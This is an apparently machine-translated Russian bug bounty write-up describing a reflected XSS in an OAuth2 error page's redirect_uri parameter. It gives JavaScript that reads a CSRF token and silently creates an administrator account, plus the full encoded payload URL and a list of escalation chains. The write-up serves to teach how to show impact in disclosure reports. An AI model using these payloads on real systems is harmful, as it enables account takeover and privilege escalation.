После начала поиска ошибок чуть более 2 месяцев назад, вот наша первая запись об ошибке, наслаждайтесь!

Мы искали частную программу на HackerOne в течение пары недель с изрядным успехом, но большинство результатов были средней степени серьезности и ничего особенного. Одна важная вещь, которую мы заметили, - это то, насколько разрушительной была бы уязвимость XSS, если бы она была нацелена на пользователей-администраторов. Это произошло потому, что для приглашения новых пользователей, включая администраторов, не требовалось никаких форм повторной аутентификации / проверки перед этим. Мы уже нашли довольно много сохраненных XSS, но на самом деле не пытались повысить привилегии, потому что для создания сохраненного XSS вам уже потребовался бы некоторый уровень привилегированного доступа. Итак, теоретически мы могли бы повысить наши привилегии, но это было бы не намного серьезнее, чем сам XSS.

Двигаясь вперед, совсем недавно мы тестировали способ интеграции двух их приложений, который использует аутентификацию OAuth2. Обычно мы ориентируемся на такие вещи, как открытое перенаправление или CSRF, с помощью статических state параметров, но, похоже, с ними справились хорошо. Мы заметили довольно странное поведение при обработке параметра redirect_uri. По сути, если какой-либо из других требуемых параметров был неправильным или отсутствовал (например, state, client_id и т. Д.), Вы были бы перенаправлены на страницу с ошибкой, нажав одну кнопку, чтобы указать неверный запрос. Эта кнопка была тегом <a>, и любое значение, которое было в параметре redirect_uri, было значением href. Поэтому, естественно, мы попробовали javascript:alert(1) в качестве параметра redirect_uri, и было представлено красивое окно предупреждения, указывающее, что XSS был успешным.

Поскольку мы уже нашли несколько других XSS в этой программе, нам потребовалась мышечная память, чтобы отправить отчет. При этом мы сделали паузу. Вспоминая, как выглядел их процесс приглашения администратора / пользователя и как легко можно было захватить учетную запись при нахождении правильного XSS. Увы, это идеальный XSS для демонстрации того, насколько легко мы можем повысить наши привилегии до уровня администратора, позволяя нам делать все, что мы хотим. По сути, мы перейдем от нулевого доступа (даже не нужна учетная запись пользователя, что важно отметить, поскольку это платформа только по приглашению) к полному доступу.

После внимательного изучения запроса POST на создание нового администратора, это была составная форма с примерно 30 полями, но требовалось лишь несколько. Это были login, firstname, lastname, email, role_id и, конечно же, csrf-token. Итак, следующим шагом было выяснить, как извлечь csrf-token, что оказалось довольно просто. При выполнении GET запроса к конечной точке создания пользователя и просмотре источника было обнаружено, что csrf-token хранится в метатеге, который выглядит так:

<meta name="csrf-token" content="UdNWofQE+cZSKftgI7GnDpmImM7vTJB9ew3dF53+/Ekwtg2KWw/nRbHdIHIoDd4L+HQ/w7xTUPB2ZHnG01fxnQ==" />

Таким образом, мы можем выполнить GET запрос, сохранить значение csrf-token, а затем отправить POST запрос той же конечной точке с обязательными полями. Код для получения токена выглядит так:

var url = "/user/new";
var xhr = new XMLHttpRequest();
    xhr.responseType = "document";
    xhr.open("GET", url, true);
    xhr.onload = function (e) {
        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            page = xhr.response
            // Get the csrf token from meta tag
            token = page.getElementsByName('csrf-token')[0].getAttribute('content')
            // Show the token
            console.log("The token is: " + token);
        }
    };
    xhr.send(null);

Теперь у нас есть токен CSRF. Окончательный PoC-код для выполнения XSS и создания себя в качестве администратора с использованием только что извлеченного токена выглядит так:

var url = "/user/new";
function submitFormWithToken(token) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", url, true);
var formData = new FormData();
    formData.append("authenticity_token", token);
    formData.append("login", "neemaPoC");
    formData.append("firstname", "Neema");
    formData.append("lastname", "PoC");
    formData.append("email", "xss_demo@gmail.com");
    // role_id = 2 is the admin role
    formData.append("role_ids[]", 2);
    formData.append("new_status", "active");
xhr.send(formData);
}
var xhr = new XMLHttpRequest();
    xhr.responseType = "document";
    xhr.open("GET", url, true);
    xhr.onload = function (e) {
        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            page = xhr.response
            // Get the csrf token from meta tag
            token = page.getElementsByName('csrf-token')[0].getAttribute('content')
            // Show the token
            console.log("The token is: " + token);
            // Use the token to submit the form
            submitFormWithToken(token);
        }
    };
    // Make the request
    xhr.send(null);

После минификации и кодирования URL-адреса конечный PoC-отраженный URL-адрес XSS был (к счастью, нам не пришлось беспокоиться о каких-либо ограничениях по длине):

https://company.com/oauth2/authorizations/new?redirect_uri=javascript:var%20url%3D%22%2Fuser%2Fnew%22%3Bfunction%20submitFormWithToken%28e%29%7Bvar%20t%3Dnew%20XMLHttpRequest%3Bt.open%28%22POST%22%2Curl%2C%210%29%3Bvar%20n%3Dnew%20FormData%3Bn.append%28%22authenticity_token%22%2Ce%29%2Cn.append%28%22login%22%2C%22neemaPoC%22%29%2Cn.append%28%22firstname%22%2C%22Neema%22%29%2Cn.append%28%22lastname%22%2C%22PoC%22%29%2Cn.append%28%22email%22%2C%22xss_demo%40gmail.com%22%29%2Cn.append%28%22role_ids%5B%5D%22%2C2%29%2Cn.append%28%22new_status%22%2C%22active%22%29%2Ct.send%28n%29%7Dvar%20xhr%3Dnew%20XMLHttpRequest%3Bxhr.responseType%3D%22document%22%2Cxhr.open%28%22GET%22%2Curl%2C%210%29%2Cxhr.onload%3Dfunction%28e%29%7Bxhr.readyState%3D%3D%3DXMLHttpRequest.DONE%26%26200%3D%3D%3Dxhr.status%26%26%28page%3Dxhr.response%2Ctoken%3Dpage.getElementsByName%28%22csrf-token%22%29%5B0%5D.getAttribute%28%22content%22%29%2Cconsole.log%28%22The%20token%20is%3A%20%22%2Btoken%29%2CsubmitFormWithToken%28token%29%29%7D%2Cxhr.send%28null%29%3B

При нажатии пользователем будут отправлены 2 запроса, и будет создана наша учетная запись администратора. Мы получили долгожданное регистрационное электронное письмо, в котором можно использовать для установки наших учетных данных, и жертве никогда не отправляется никаких уведомлений / подтверждений, которые, по сути, делают это необнаруженным, если только жертва активно не проверяет данные учетной записи. Для полного захвата учетной записи мы могли бы дополнительно эскалировать и удалить других администраторов, поскольку администратор - это самый высокий уровень доступа, и один администратор может удалить любого другого.

После создания рабочего PoC и демонстрации того, как мы можем полностью использовать этот XSS (теоретически как злоумышленник без учетной записи пользователя), отчет был отправлен команде. Это также был отличный урок о том, как показать влияние в отчете. Исторически сложилось так, что как только ошибки были обнаружены, мы сообщали о них, не задумываясь о том, как их можно обострить и показать, насколько это плохо. Это упражнение определенно показало, что мы должны думать об этом чаще.

После появления этой ошибки мы пытались эскалировать каждое всплывающее сообщение XSS, а не просто сообщать о нем, и с тех пор это действительно улучшило воздействие и вознаграждение. Некоторые примеры:

  • Отраженный XSS - ›Создать пользователя-администратора -› Захват учетной записи компании = 2x Обычное вознаграждение XSS
  • Сохраненный XSS - ›Изменить адрес электронной почты жертвы -› Захват учетной записи пользователя = 3-кратное обычное вознаграждение XSS
  • Отраженный XSS - ›Конечная точка API вызова, возвращающая номера кредитных карт = 2x Обычное вознаграждение XSS
  • Отраженный XSS - ›Изменить адрес электронной почты жертвы -› Захват учетной записи пользователя = 2x Обычное вознаграждение XSS

Поэтому вместо того, чтобы просто сообщать <img src=x onerror=alert(1)>, мы начали смотреть, что на самом деле можно сделать с этим XSS, а затем написали PoC, чтобы доказать это, поскольку он действительно показывает компании, каково влияние, и, скорее всего, принесет вам лучшая награда.

Надеюсь, это было полезно для демонстрации того, как ошибки могут быть использованы и расширены, и насколько важно показать влияние в отчете. Мы расскажем больше о нашем путешествии по поиску ошибок, следите за обновлениями!